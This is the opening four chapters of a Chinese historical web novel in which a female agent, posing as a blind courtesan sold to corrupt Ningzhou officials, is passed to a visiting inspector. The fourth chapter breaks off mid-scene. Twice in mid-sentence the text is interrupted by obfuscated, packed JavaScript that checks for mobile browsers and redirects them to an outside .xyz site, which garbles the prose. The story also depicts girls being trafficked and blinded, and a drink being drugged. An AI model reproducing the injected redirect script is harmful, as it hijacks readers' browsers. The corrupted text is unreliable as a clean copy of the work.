《李代桃僵》 1. 第 1 章 “张嘴。” 宽大粗粝的手毫不怜惜地掐着少女白皙红润的脸颊,云潋怯生生的轻启红唇,露出一排整齐洁白的牙齿,呵气如兰。 眼前身着华服,面容苍老的男人满意的点了点头,像检查牲畜一般仔细上下打量着眼前这个十七岁的妙龄少女。 刘老爷见这女子杏眼桃腮、腰若杨柳、玉肌莹润,尚未破身却已初见媚态,的确是万里挑一的好苗子。 “你倒是会选人。”说罢,刘老爷又将苍老的手放在女子眼前晃了晃,见云潋的眼珠丝毫不动,确为天生眼盲,满意的跟一旁谄媚的牙婆说,“说说吧,想要多少银子。” 牙婆见刘老爷对云潋甚是喜欢,立刻凑上前殷勤的为刘老爷续上热茶。 “同知老爷好眼光,这丫头自小养在别院,被陈妈妈精心调教,琴棋书画样样精通,知书达理,还精通珠算,放在内院帮着夫人管家也是一把好手。陈妈妈您是知道的,当年那是名满宁州,色艺双绝,多少名门公子捧着珍宝日日守候在别院外,只盼能成为她的入幕之宾,可见其功力之深,艳名远播。云潋经她一手调教,青出于蓝而胜于蓝,自是差不了。” 牙婆口齿伶俐,陈妈妈要价又高,她开价前自然要好好吹嘘一番。 “更何况云潋她是天生眼盲,教导起来分外不易,陈妈妈可是废了好大一番心血才有今日的效果。她这些年养了不少丫头,独独将云潋视若珍宝,从不肯轻易示人。云潋十四五岁的时候,就有不少贵人开高价想要梳拢,可陈妈妈将她视若己出,一直舍不得,这才生生拖到十七。今日还是因为同知老爷您开口寻人,陈妈妈感念您这么多年的照顾,狠了狠心,咬了咬牙,才让奴家将云丫头带出来见您。” 刘老爷是脂粉堆儿里泡大的,当了官老爷后更是没少逛花街柳巷,对牙婆和妈妈们的手段那是了如指掌,见牙婆铺垫了这么多,也有些烦腻,将茶盏一摔,发了火。 “王氏,老爷我公务繁忙,没时间跟你在这里磨嘴皮子。陈妈妈喜欢她没错,可这两年也没少暗地里试着为她寻恩客,只可惜她要价太高,那些富户官绅萧索奚囊,舍不得掏那么多银子纳一个盲妓,这才拖到现在。宁州的事情,老爷我是无所不知,所以你也别搞那套待价而沽的把戏。你说个实在价,若是老爷我满意,就择日抬回家去,好生养在内院,她也算有个好归宿。” 牙婆被刘老爷申斥,赶紧低声安抚:“老爷您莫要生气,小人也只是将陈妈妈的话如实带到罢了。陈妈妈说了,若是想要梳拢云潋,怎么也得备下百金。” “百金?”刘老爷立刻皱眉,声音高上许多,“寻常未梳拢的盲女至多不过五金,好人家养出来的一等瘦马也只要二十金,怎偏偏她就要百金?她是什么金子宝石塑的不成?” 牙婆混迹在市井多年,早就练就一双火眼金睛,见刘老爷厉声呼贵,可是却并未立刻拂袖离去,想必是心悦云潋,势在必得,便又继续劝慰。 “云潋是天生眼盲,岂是那些养到十四五岁时才剜去双眼再配装义眼的寻常货色可比?她是既有盲妓的温顺,又兼具美色才艺,实属罕见。我这些年阅人无数,从二十年前宁州初兴起豢养盲妓之风开始,这天生眼盲、美色惑人又性子乖顺的,我至今也就只见过她一人。若是她不值这个价,我又怎么会主动揽下这买卖,砸了自己的招牌呢!” 刘老爷转头又打量起那个从一开始就温顺乖巧,不言不语的绝色女子,心痒难耐。 豢养盲妓之风之所以能在宁州城迅速兴起,本就是因为她们眼盲温顺,比寻常妓子更加好拿捏,能让男子在床榻上满足他们不愿轻易示人的卑劣的欲望和非人手段。 只不过眼盲女子毕竟难寻,所以一般都是先培养那些颜色好的穷苦女子学会琴棋书画,诗词歌赋,箫管笛弦,待到十四五岁即将接客或是嫁人前,再剜去双眼,装上义眼,用布遮住眼睛上的可怖伤痕,供人取乐。 虽然后天塑造的盲妓能满足恩客们的趣味,可是却终究因为这双义眼而少了几分美感,多了几分缺憾。 刘老爷抬起刚才掐过云潋的手指,放在鼻前轻嗅,一阵馨香袭来,手中的滑腻触感犹在,又见她如秋水般的明亮眼眸,似是会勾人魂魄,实在难以割舍。 刘老爷向后伸手,守在一旁的仆从立刻将早就准备好的一锭银子放在刘老爷手中。 刘老爷随手扔个牙婆,留下一句“后日,我抬她进门”,便起身离开了。 牙婆捧着沉甸甸的银子乐得见牙不见眼,欢喜许久才想起身后的云潋,凑上去哄道:“姑娘好福气,这刘老爷家境殷实,日后姑娘嫁过来,吃香喝辣,锦衣玉食,简直就是掉在福堆儿里了,有受用不尽的富贵荣华!” 云潋皮笑肉不笑,轻声吩咐身旁的丫鬟静梅:“替我谢谢王婆。” 静梅立刻上前,悄悄塞给牙婆两块儿碎银,“小小谢礼,不成敬意。我们出来匆忙,没来得及给您的孙儿买上些瓜果糖块,劳您稍后亲自上街逛逛吧。” 牙婆见云潋如此上道,将碎银往袖筒一揣,越发殷勤,“我去赁个马车,送姑娘回别院啊。” 静梅立刻开口婉拒:“陈妈妈命人准备了马车,就候在后门巷口,不劳王婆费心了。” “那好,我还要去帮厉老爷家的小姐采买丫鬟,那我就先走一步了。” 静梅扶着云潋上了马车,待帘子放下,马车内只剩下她们主仆二人,云潋摘下帏帽,活动了几下干涩的眼珠,声音不似刚才那般婉转轻柔:“怎么样,摸清楚了吗?” 静梅恭敬地垂下头,细细回禀:“刘府是三进院,内院东侧住着夫人和体弱多病的嫡女,西侧住着刘老爷纳的十几个小小妾、通房。外院东边住着府中的少爷小姐,西侧则门户紧闭,门上挂着重锁,且有六七个护卫把守,还有家丁巡逻放哨,家中的仆从婢女都躲着不敢靠近,屋里似乎藏着什么重要的东西。” 云潋端着茶杯啜饮一口,眼神犀利,声音冰冷:“到底藏着什么,后日一探便知。” 回到内院,陈妈妈早就集结院中所有姐妹静候在正堂,等云潋一进门,众人将她迎到主位落座,随后纷纷跪地磕头,口中齐呼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156580|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜见大人。” 假云潋看着满屋的美艳女子,垂下眼眸,手指有规律的敲击着檀木桌。 “我奉命来此,替代那自缢而亡的云潋继续接下来的任务,别院人多眼杂,为了以防万一,你们日后皆将我视作云潋,寻常对待即可。” “遵命。” 众人十分听话,跋山涉水二来的假云潋也不想多言,摆摆手示意众人散去。 三个女子并排走在廊桥下,蓝衣女子见四下无人,低声说道:“像不像?” 粉衣女子有些惊恐,立刻附和:“太像了,这位大人和云潋长得简直一模一样!除了双生子,这世间竟真有长得如此相像之人,实在罕见。” 黄衣女子和云潋交好,神情低落,语气哀婉:“云潋真是太倔了,好死不如赖活着,为了逃避进刘家的任务,她竟然如此决绝。” 蓝衣女子哀叹不已:“咱们这条命,这辈子就算是拴在别院了。我倒巴不得能嫁出去,有一容身之所,逃脱这整日喝酒陪笑,侍候恩客的命运,她竟身在福中不知福。” 粉衣女子消息灵通,掐了一把蓝衣女子的腰肢。 “你快醒醒吧,别做那不切实际的梦了。且不说咱们的命都拿捏在主子和陈妈妈手里,就说那刘同知家的内院是什么好去处吗?他家夫人出身落寞的世家,磋磨人的手段层出不穷,动辄将不听话的妾室折磨致死,或是发卖出府。刘同知又是出了名的好色之徒,喜新厌旧,家中女子流水般来去。云潋性子软弱,又生得一副花容月貌,我看若是她真被送进刘府,不出半月,就要被那狼狈为奸的夫妻折磨疯了,悲惨而亡。还不如现下死了,起码落个清白之身。” “哎,左右都是死,她清白去了,倒也干净。” 兔死狐悲,三人越说越难过,最后抱着哭了好一阵子,才各自散去。 初八傍晚,来接人的粉色小轿停在别院门口,为首的一个中年男人示意身旁的侍从上前粗暴的拍门,侍从催促道:“快些出门,可别误了大事。” 云潋穿戴整齐,握好防身的匕首,藏好身上各种药粉,准备亲自入刘府探察情况,亲自审一审这个罪该万死的刘老爷。 谁知来接人的小轿却突然朝着西街走去,跟在轿外的静梅见情势不对,暗中记路,随后轻轻隔着轿帘说道:“小姐,路不对,这不是去刘府的路。” 云潋不急不忙,眼神晦暗,轻声吩咐:“问一问。” 静梅小跑着凑到中年男人身旁,低声问道:“贾管事,请问咱们这是要去哪儿啊?这里好像不是去刘府的路。” 贾管事早就干惯了这种脏活,根本无暇顾及云潋主仆的心情。 “老爷将你家小姐送给了都城来的巡察御史,你告诉你家小姐,一会儿见到御史大人,可要好好伺候。” 静梅深觉被羞辱,又怕任务失败受惩罚,焦急道:“哪有这样的!” 贾管事见静梅还敢高声质问,也不再客气,威胁道:“陈妈妈可是收了我家大人百金,现在反悔可来不及。你家小姐愿意也得去,不愿意也得去!滚开!” 2. 第 2 章 贾管事神情凶恶的高坐在枣红色骏马上,见静梅还想争辩,抬起右手稍作示意,为防止云潋逃跑而一直守在轿外的五六个家丁立刻蜂拥而至,不由分说的将静梅的双臂制住,让她动弹不得。 静梅激烈挣扎,高声呼救,引得街边摊贩纷纷侧目。 可贾管事恶名在外,满街百姓竟无一人敢上前为云潋主仆出头,甚至纷纷垂下头装作视而不见。 “放开我!” 眼看静梅始终不肯服软,为防止节外生枝,来日府中欺男霸女的恶名传到御史大人耳中,家丁们将静梅口中塞上白布,用早就准备好的软绳将静梅捆个结实。 为首的家丁上前询问:“贾管事,您看这丫鬟该如何安置?” 贾管事扫了一眼静梅,见她相貌清秀,年岁正好,心生一计。 “老爷正为失了美人而恼怒,将这丫鬟洗刷干净,今晚送去给老爷消火。” 静梅性子刚烈,听到贾管事要将她送给刘老爷,立刻拼命挣扎。 她不似姜大人那般武艺高强,能在危急时刻自保,若是她不幸落入贼手,只怕今生尽毁。 想到这里,静梅心存死志,想要鱼死网破,伺机触柱寻死。 家丁们自是拼命阻拦,贾管事也赶紧吩咐:“她想寻死,给我拦住她!” 一时间场面有些失控,千钧一发之际,轿内传来一声轻呼:“我去!” 短短两字,轿外众人皆停住动作,齐齐朝花轿方向望去。 只听轿内传来一阵悦耳的声音:“老爷对妾有恩,云潋会听从大人的吩咐,尽心伺候御史大人。” 听到这里贾管事露出满意笑容,驱马来到花轿旁,隔着轿子耐心规劝。 “御史大人出身陇西裴家,乃大长公主的嫡亲孙儿,前年科举时年仅十七岁便三元及第,深得陛下器重,前途不可限量,实乃岱国青年中的翘楚。他不仅家世煊赫,且尚未娶亲。姑娘识大体,又生得花容月貌,若是姑娘能将裴大人侍候好,来日有幸被带回都城,养在内院,才是得了大造化。” 云潋神情冷漠,语气却十分轻柔:“多谢贾管事提点,云潋记下了。” 贾管事见云潋服软,颇为满意,一边调转马头,一边吩咐迎亲队伍继续启程。 “贾管事请留步。” 贾管事见云潋又唤他,以为她又要生出什么幺蛾子,颇为不耐,勒停骏马,语气冰冷:“姑娘还有何吩咐?时辰不早了,若是误了事,惹大人们不悦,你我可都担待不起。” 云潋撩开轿帘缓缓走出轿子,眼神僵直地望向前方,虚虚行了个礼,这才开口:“劳贾管事发发善心,放静梅回来伺候我吧。” 贾管事自是不肯,敷衍道:“到了府中自会拨新人伺候姑娘,这丫鬟我还另有用处。” 言毕,贾管事示意身旁的嬷嬷搀扶云潋进花轿。 可云潋分外执拗,推开嬷嬷搀她的手,固执道:“云潋是个盲女,不似寻常姐妹那般能自理,身旁若无亲近之人陪伴,人生地不熟,实在难以度日,更遑论伺候好贵人呢。” 云潋声音轻柔,可言语间却暗藏玄机,柔中带刺。 贾管事阅人无数,一眼看透云潋不是空有美貌的花瓶,反倒颇有棱角,牙尖嘴利,日后说不定真能有大造化,思忖一瞬,便顺水推舟:“好,我放了她。只盼姑娘记得今日恩情,尽心为我家大人做事。” 云潋并未承诺,只是又一次盈盈下拜,轻声回道:“多谢贾管事。” 迎亲队伍蜿蜒有序,步履匆忙的朝御史府邸方向行进。 迎亲队伍在前,一辆低调的马车紧随其后。 马车外观简朴,内里却大有乾坤,案几、点心、热茶、软垫与靠枕一应俱全,连马车内部用作装饰的布料都是用金丝绣制,极尽豪奢。 放下轿帘,沈烁愤懑道:“真是无法无天,一个五品官身边的小小管事,就敢当街胁迫女子,满街百姓习以为常。可见这些年他们是如何横行乡里、鱼肉百姓,宁州的地方官,不可救药!” 楚执性子沉稳,见二殿下不为所动,依旧手执书卷苦读,试探着问:“殿下,看样子这女子是宁州官员送去讨好您的,想必也会被教导着监视您的一举一动,您看是否需要我等提前干预一下?” 燕绥之端起案几上的茶杯,轻啜一口,不以为然:“放走她,还会送来旁人。一个会审时度势的盲女,总好过眼神乱飘的寻常人。” 楚执素来机敏,恭敬回道:“属下明白,定会着人盯紧她。” 刘老爷和宁州通判王大人坐在前厅等了许久,也不见御史大人回来,派出去寻人的仆从也没寻到他的踪迹,时间一长,皆有些心慌。 天气炎热,身着厚重官服的刘大人擦了擦额间汗水,数落起一旁谨小慎微的下属:“知府大人出行前几次三番的叮嘱,定要陪好裴大人,千万不可稍有怠慢。你可倒好,不时刻陪侍左右也就罢了,竟敢让他一个人四处乱逛,你也不怕......若是被看出端倪,你我有几个脑袋够砍?” 通判王大人立刻吓得跪倒在地,连连求饶:“昼食之后御史大人说要回房休息,小人不敢阻拦,一直兢兢业业守在前厅,不敢离开片刻。谁知御史大人竟偷偷从后门离去,至今未归。小人失职,求大人责罚。” 王大人头发花白,身材干瘦,满脸苦相,他熬了大半辈子才勉强混成六品地方官,自上任后谨小慎微,从不敢违拗上司心意,虽然愚钝,倒也听话。 而裴舟望虽然只是正七品,较王大人品级还稍低些,可巡察御史负责稽查地方官吏政绩、审理刑狱案件并监督财政仓储,有直呈奏章给陛下的权限,王大人自然不敢轻易得罪。 更何况这位裴御史出身望族,祖母是尊贵的大长公主,祖父乃陇西当地有名的宗族族长,族中子弟遍布岱国各地,在朝为官者不下百人。其父更是官至宰相,风头无两。 裴氏从前朝起便一直把持地方,发展至今,乃岱国最有权势的名门望族。提起陇西裴氏,为官者无不敬畏。 而这位裴大人,更是赫赫有名,不仅出身高贵,还颇负才名,自七岁起便能出口成章,十五岁时上元夜一首七言诗句引圣上夸赞,百姓传颂。 明明可以受祖辈荫蔽入朝为官,可裴舟望却偏偏另辟蹊径,选择同其他学子一起参加科考,十七岁便三元及第,一跃成为岱国最年轻的状元郎,深受陛下器重。 世人皆知,若无意外,在官场历练数载,这位裴大人早晚有一日会封侯拜相,像他父亲一样权倾朝野。 因此刘大人也明白,莫说下属不敢得罪这位裴御史,连他也不敢随意惹裴大人不悦。 “罢了,多安排些人在御史府外守着,下次他再出门,可不能跟丢了。” 王大人擦了擦额间的汗水,忙不迭应承下来:“下官定会小心安排,绝不会再犯同样的错误。” 说话间,远远看见裴舟望带着两个下属进了门,刘大人赶紧起身去迎,佝偻着身子,极尽谄媚。 “早听闻裴大人少年成名,萧萧肃肃,爽朗清举,今日一见果然仪表不凡、俊雅绝伦,令下官拜服。” 燕绥之敷衍地抬手回礼,神情倨傲,语气冷淡:“大人过誉了,裴某愧不敢当。” 刘大人久居官场,早就习惯了上位者们的倨傲与漠然,即使遭受冷遇,却依旧能面不改色,口若悬河。 “下官乃宁州同知,鄙姓刘。昨日陪知府大人到溪河巡视堤坝,今日一听到消息,便马不停蹄的赶回来拜见大人。知府大人听闻裴大人驾临宁州,甚是欢喜。只可惜溪河堤坝损毁严重,大人素来爱民如子,救灾之事一向都是亲力亲为,这才命下官先行一步,前来给大人赔罪。” 燕绥之坐在上首,端起婢女敬上的热茶,用杯盖撇了几下浮沫,端到唇边,嗅到寡淡的茶香,眉头微皱,似是嫌弃一般放回桌上。 “知府大人忧国奉公、夙夜匪懈,下官也早有耳 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不过这种手段自然不是百试百灵,若是遇到油盐不进,又无权无势,让御史死在任上也就一了百了。 可裴舟望虽然资历尚浅,却出自陇西裴氏,谁敢轻易动他? “那我等该如何应对?” 刘大人见下属依旧懵懂,只好开口提点:“他做这个巡察御史乃是为了积累功绩后如愿升迁回到中央,你按部就班陪着他四处巡察,随手安排几个不痛不痒的疏漏供他发现,等他累积够了上报的素材,自会离开。你给他政绩,他给你颜面,他这样家世的公子,比咱们深谙此道。” 王大人得此提点,如释重负,“下官明白,谢大人指点迷津。” 刘同知扶着王大人的手臂上了马车,仆从们一掀开轿帘,只见一个和云潋有两三分相像的女子身着薄衫跪在地上,一见刘大人,便怯生生地磕头行礼:“拜见大人。” 刘大人满意地笑了,对站在马车旁的王大人也多了几分好脸色。 “你呀,懂事。” 王大人见送美人的事情卓有成效,赶紧表衷心:“下官这些年多得大人提携教导,感激万分,终生不忘。” 刘同知拍了拍王大人的肩膀,并未多言,进入马车后,很快马车内传来阵阵笑声,无不昭示着刘大人对美人的喜爱。 御史府内的嬷嬷指引着云潋和静梅主仆俩朝西厢房走去,为了防止云潋因为不愿伺候人而携带危险物品,在床笫间伤到裴舟望,她被来来回回搜了三遍身。 好在云潋在进府前早早将匕首交给静梅收着,又悄悄将指甲缝里藏着的药粉剃净,这才堪堪熬过搜身。 盖着红盖头,端坐在床榻上的云潋试探着呼唤:“静梅,你在哪儿?” 嬷嬷将云潋的双手绑好,确认她无法挣脱后,这才轻声回道:“姑娘莫要着急,等姑娘和裴大人入完洞房,明日一早就放静梅姑娘回来伺候您。” 等燕绥之用完晚膳回到后院,天已经黑透了,他在房门口看到两个长相清秀的小厮,小厮一见他出现,立刻行礼,声音甜腻:“拜见裴大人。” 这两个小厮长相阴柔,身体过分瘦弱,看向燕绥之的眼神都带着钩子,一看就知道这是王大人和刘大人不知从哪里寻的清倌。 因为摸不准他的喜好,王大人生怕裴望舟好男风,所以准备了两个清倌扮作小厮守在房门外,以防万一。 一来便于监视,二来方便裴舟望随时泄火。 王大人还深觉自己会曲意逢迎、思虑周全,却不知这个举动越发惹恼了燕绥之。 燕绥之径直进入房间,沈烁和楚执则赶紧驱离二人,亲自守在门边,关紧房门阻隔府中暗中窥伺的目光,以免殿下动怒。 云潋耳力极佳,听到越来越近的脚步声,精神不由得紧绷起来。 当红盖头缓缓掀开,云潋赶忙将眼神放空,她倒要会一会这个传闻中的裴公子。 3. 第 3 章 绣着鸳鸯与并蒂莲的红色盖头被燕绥之随手掀开,露出云潋那张美艳绝伦的脸。 刚才在马车上透过车帘遥遥一望,便已深觉震撼,如今凑近细细打量这张白皙无暇的脸,叫人越发挪不开眼。 燕绥之活了十七载,在都城见过无数精心粉饰的美人,可没有任何一个女子的容颜能与眼前之人匹敌。 活色生香,丰姿冶丽,堪比天人。 只可惜她双目澄澈,那双本该顾盼生辉的眼眸却空洞无神,失了些许灵动。 盖头掀开许久,身前之人却只是一味打量她,不肯言语。 这位裴公子身形高大,云潋此刻扮作盲女,眼球无法轻易转动,所以除了男人身上华贵的服饰与外袍上精致的金色暗纹,什么也看不到。 云潋试探着开口:“御史大人?” 燕绥之这才回神,冷声问道:“你是谁?为何穿着嫁衣出现在本官房内?” 见裴舟望发怒,云潋赶忙解释:“妾名唤云潋,同知大人买下我,送与大人梳拢。日后妾会尽心伺候大人,望大人垂怜。” 燕绥之伸出手,掐住云潋细弱的颈,大拇指逐渐滑上云潋的下颌骨,微微用力,云潋便被迫抬起头。 云潋不喜欢这样被人完全掌控的姿势,可是又无法轻举妄动,只得装出惊恐万分的模样,颤抖着身躯,静待裴舟望下一步动作。 察觉到眼前人的恐惧,燕绥之松开云潋,转而抵在她的左肩,趁其不备,一把将云潋推倒在洒满红枣花生桂圆的喜床上,而他则单膝跪上床沿,缓缓俯身。 高大温暖的身躯覆上她时,云潋心头一惊。 之前主子屡次试图拉拢这位裴公子,可是都被他严词拒绝。 主子着人送的金银珠宝、美人字画,裴舟望一概不收,摆出一副光明磊落、谦谦君的架势,她这才敢冒险前来试探,看有没有机会暂时留在他身边,徐徐图之。 谁知这人在外摆出一副温润公子的模样,内里却如寻常男子一般是个好色之徒,实在让人大失所望。 燕绥之骨节分明的手顺着云潋凌乱的发丝缓缓向下,途径她光洁的侧颈、肩膀、手臂,引得云潋不适的轻颤,那双作恶多端的手最终停在她被勒红的手背上,没了动作。 肌肤相接,在闷热的环境中,燕绥之的手掌温度简直烫人,让人无法忽视。 云潋的手摆在小腹上,上方就是喜服的系带。 这喜服是刘府特制的,为了增添闺房情趣,只需轻轻一拉,便可瞬间解开外袍,香肩半露,分外好脱。 云潋的声音里多了几分慌乱,“大......大人。” 云潋一边尝试用言语拖着裴舟望,一边暗自用力,想尽快用巧劲儿挣脱双手的束缚,打昏裴舟望,一走了之。 谁知燕绥之并未有下一步动作,反倒主动去解云潋手上的软绳。 待解开绳子后,燕绥之往云潋身边一躺,轻声说:“你走吧。” 云潋对裴舟望前后不一的举动感到不解,活动着有些麻掉的手腕,缓缓扭过头,悄悄打量躺在她身边的男人。 虽然只是映照在烛火下的半张侧脸,却已经足够惑人。 天庭饱满、眉目冷淡、鼻如悬胆、鬓若堆鸦,好生俊俏的儿郎! 难怪见过他的人皆称赞他风流倜傥、才貌双全,如今一见,果然名不虚传。 燕绥之总觉得身边人在偷偷打量他,灼灼目光无法令人忽视,猛然转头查探。 好在云潋机警,先一步放空视线,没有被燕绥之抓住现行。 燕绥之见云潋并未起身,干脆用手臂撑起身躯,缓缓靠近云潋,伸手在她眼前飞快晃动数次,若是换做寻常人,定会吓得疯狂眨眼,可云潋的眼球未动,始终视线僵直。 燕绥之天生多疑,转而举起手指飞快朝云潋的眼球戳去,直到纤细浓密的睫毛划过他的指尖,云潋黑白分明的眼球都未动分毫,燕绥知才肯信她的确天生眼盲。 燕绥之收回试探云潋的手,将双手枕在头下,难得生出想要闲聊的心思。 “为何不走?” 云潋轻声说:“我是贱籍,身契压在刘大人手中,我无处可去。” “可我不收来历不明的女人。” 云潋渐渐掌握了和裴舟望聊天的技巧,见他是个面冷心热的少年,也并非好色之徒,她暂时并无失身之忧,便想继续留在他身边。 “我父母共生养了三女两子,我行三,天生眼盲。五岁那年宁州水患,家中颗粒无收,饿殍遍野,又恰逢宁州豢养盲妓之风盛行,父母将我以十两银子的价格卖与陈妈妈。前日同知大人买下我,准备今日迎回府中做妾室。谁知刘大人将我转赠给您,我才来到这里。” 燕绥之很快抓住重点,追问道:“宁州地处溪河与闽江交汇处,雨季时常决堤,每逢灾年朝廷都会拨款赈灾,又命周边几州调粮支援,怎会饿殍遍野?沦落到卖女求生的地步?” 那个被卖给陈妈妈的女孩早就因病早夭,死在了十年前。 云潋不过是主子借这个孩子的身世安插在宁州的一枚棋子,她来接替云潋前,才匆匆得到些关键信息,自然经不起细细盘问。 眼见裴舟望将她的身世做切入点,迫切想知晓宁州民情,只得故作惊慌。 “云潋天生眼盲,所闻所感皆由人转述,那时我尚且年幼,许是我记错了......” 燕绥之只是顺嘴一闻,见云潋惊慌不已,叹了口气,安抚道:“罢了,与你无关,早些安歇吧。” 云潋早就被满床的桂圆红枣硌得浑身疼,立刻用双臂撑着起身,偷偷揉着被硌得生疼的后背。 燕绥之将云潋揉后背的动作看在眼里,本想如往常一般叫沈烁进来铺床,可转头看见云潋缩在床沿,像个惊慌失措又懵懂无知的兔子,只好苦兮兮的将满床的花生红枣往地上扫,亲自铺床。 从未干过这种粗活的燕绥之忙的满头大汗,被床榻上怎么也扫不完的花生磨去耐性,语气带上几分不耐烦:“你先站起来。” 听到吩咐,云潋立刻匆忙起身,穿着红色喜鞋的脚在脚踏边缘踩空,身躯朝右侧摔去。 换做平常,武艺高强的云潋自然可以轻易稳住身形,只可惜现在她扮作柔弱的盲女,只好尽力克制住身体的本能,任由身体朝地面摔去。 燕绥之眼疾手快,一把揽住身形不稳的云潋。 见云潋吓得紧闭双眼,眼角还挂着未干的泪痕,燕绥之难得生出几分恻隐之心。 云潋赶忙从裴舟望怀中挣脱,后退半步,恭敬行礼,“谢谢裴大人。” 燕绥之没有接话,将床铺上剩余的东西打扫干净,小心铺好床铺,又抱了一床薄被走到软榻边,随手铺好。 云潋站在原地,像个被罚站的孩子,一脸顺从,不言不语。 燕绥之从软榻边缓步走到云潋身旁,轻轻抓住她的手腕,搭在他的手臂上。 “向前两步,迈上脚踏,转身,坐吧。”见云潋终于坐上床榻,燕绥之忍不住问,“你生活如此不便,若是无人伺候,可如何是好?” “我有个婢女叫静梅,往日都是她陪在我身边。我还有一支盲杖,若是在熟悉的地方,我也可以拄着盲杖行走。” 燕绥之将床帘放下,对云潋承诺:“明日我将你的婢女讨过来陪你。” 云潋脱鞋上床,躺在床榻上,隔着半透的红色床帘偷偷观察着睡在软榻上裴舟望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156582|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 软榻尺寸狭小,裴舟望身形高大,长腿只能曲折的半搭在软榻上,整个人分外憋屈,连转个身都困难。 明明是金尊玉贵的世家公子,从未吃过苦,可无论她如何劝说他睡床,由她来睡窄小的软榻,他都始终坚持将床榻让给她。 明明无心梳拢她,也不想让她伺候,却准许她留下。 明明他才是上位者,可以对她予取予求,却坚持男女大防,不肯越雷池半步,给她尊重。 云潋此刻有五六分相信,裴家公子真如传言那般,是个谦谦君子。 “裴公子,谢谢您收留我。” 燕绥之本就没有睡着,缓缓睁开双眼,“折腾一天,你累了,安心睡吧。” 第二日一大早,刚赶到御史府的王通判听到管事回禀,满脸惊喜,追问道:“当真收下了?” 管事细细讲述:“昨夜小人命嬷嬷将刘大人进献给裴御史的盲妓送进屋后,一直派人守在外院,御史大人将那两个清倌赶跑后,进了屋,直到现在还没出来。” 王大人听闻裴舟望收下云潋,皱纹丛生的脸挂着得意的笑容,“半夜叫过几回水?” 管事摇头,“没叫过。” “一次都没叫过?”王大人大失所望,本以为云潋已经顺利爬上裴舟望的床,谁知裴舟望只是将人收下,却并未享用,似乎并不肯接纳他们的好意,“盯紧些,也着人催一催云潋。告诉她,若是今晚不能让裴大人梳拢她,就将她发卖出去,找人替代她。是伺候裴大人一个人,还是伺候一群人,让她好好掂量。” 静梅被关了一宿,一直担心姜大人能否妥善应对,今日见姜大人精神抖擞,神色如常,似乎并未吃亏,她才安心下来。 主仆二人双手交握,短暂交换视线,确认双方无碍后,静梅才将云潋扶到妆奁前,解开云潋已经有些凌乱的发髻,拆解下各种名贵的珠钗,细细梳通如同绸缎般的墨色长发。 昨夜捆绑云潋的嬷嬷进屋,又想屏退静梅,可云潋态度却十分强硬:“御史大人已经准许静梅随侍我左右,嬷嬷为何屡屡刁难,难道嬷嬷要违逆大人的吩咐吗?” “小人不敢。”嬷嬷将手中的一包药粉塞进云潋手中,“王大人吩咐,若是今夜姑娘依旧无法让御史大人受用,就要将姑娘发卖出去。时间紧迫,望姑娘尽力讨裴大人欢心。” 云潋精通药理,打开手中的药粉包,轻嗅一下,瞬间皱眉。 他们这是要她给裴舟望下药? 静梅在别院多年,对男欢女爱之事更为了解,她一眼看出姜大人昨夜并未经历过情事,赶紧接过她手中的药粉细细包好,凑到云潋耳边嘀咕几句。 云潋这些年光顾着精进武学,作为暗卫兢兢业业,也是第一次接这种任务,听到云潋跟她科普男女之事,素来面冷之人,竟然难得红了脸。 “你的意思是,夜里要叫水,帕子上要有落红。” 静梅点头,轻声回道:“起码得有这两样,才能暂时瞒过这群人。” 燕绥之今日在府衙查了一天的帐,发现无数端倪,临近午夜才回到房中。 见云潋端坐在桌前,一副忧心忡忡的模样,他揉了揉酸涩的眉心,坐到她身旁,轻声问:“这么晚了,你怎么还没睡?” 云潋见燕绥之态度和缓,摸索着端起早早准备好的茶杯,“大人未归,妾不敢睡。” “以后你不必特意等我。” 见云潋端着茶杯的手不停打颤,燕绥之赶紧接过云潋手中的茶杯。 忙碌一整日,的确有些口渴,燕绥之端起杯子想要痛快啜饮几口,可刚喝了小半口,他立刻摔了杯子,望着地上还没化开的药粉,冷声质问道:“你在茶里放了什么?” 4. 第 4 章 摔碎茶盏的声音一响,守在门外的沈烁和楚执立刻拔剑冲进屋内,将燕绥之牢牢护在身后,随后警惕地环视左右。 这一套行云流水的动作,仿佛做过千百遍,早已形成肌肉记忆。 楚执更为谨慎,见摔碎的茶盏碎片上残留着淡黄色药粉,朝身后的燕绥之紧张确认:“大人,您没事儿吧?” 这□□药效霸道,云潋放药时又将整包药一股脑倒了进去,虽然燕绥之只喝了小半口,可药效发挥极快,他现下浑身燥热,满面通红,只得烦躁地扯开领口,才勉强喘上气来。 燕绥之强压下心中的烦躁,轻声回道:“还好。” 怪只怪今夜烛火昏暗,燕绥之又并未对眼盲的云潋设防,这才不小心着了道。 燕绥之最恨身边的人背叛他,他一把扯过楚执手中的利刃,毫不留情地抵在云潋颈间:“说,谁让你给我下药的?” 长剑划过空气,锋利的剑刃割破云潋的侧颈,鲜血滴落在月色外袍。 云潋藏在衣袖下的手偷偷掐了一把大腿肉,明亮的双眼立刻覆上一层薄薄水雾,她自顾自哭着,似乎全然不在意已经抵上她咽喉的长剑。 看到泪水从云潋脸颊滑落,燕绥之握着长剑的手朝外侧偏离几分,外袍上的血红让他眼神中多了几分悔意。 